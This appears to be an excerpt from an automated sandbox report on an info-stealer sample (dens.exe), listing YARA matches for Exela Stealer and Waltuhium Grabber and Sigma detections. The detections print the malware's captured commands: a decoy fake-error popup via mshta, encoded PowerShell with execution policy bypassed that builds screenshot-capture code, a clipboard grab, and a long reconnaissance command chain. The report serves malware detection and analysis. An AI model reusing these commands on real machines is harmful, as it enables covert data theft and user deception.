00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.2029534944.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: dens.exe PID: 6500	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
Process Memory Space: dens.exe PID: 6500	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: dens.exe PID: 6500	JoeSecurity_WaltuhiumGrabber	Yara detected Waltuhium Grabber	Joe Security
Process Memory Space: dens.exe PID: 6500	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
Process Memory Space: dens.exe PID: 6500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 50 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6560, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", ProcessId: 2812, ProcessName: mshta.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: cmd.exe /c chcp, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4364, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 352, ProcessName: chcp.com

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\dens.exe", ParentImage: C:\Users\user\Desktop\dens.exe, ParentProcessId: 6500, ParentProcessName: dens.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 1352, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net localgroup administrators, CommandLine: net localgroup administrators, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: net localgroup administrators, ProcessId: 7588, ProcessName: net.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8184, TargetFilename: C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.cmdline

Sigma detected: Local Accounts Discovery

Source: Process started

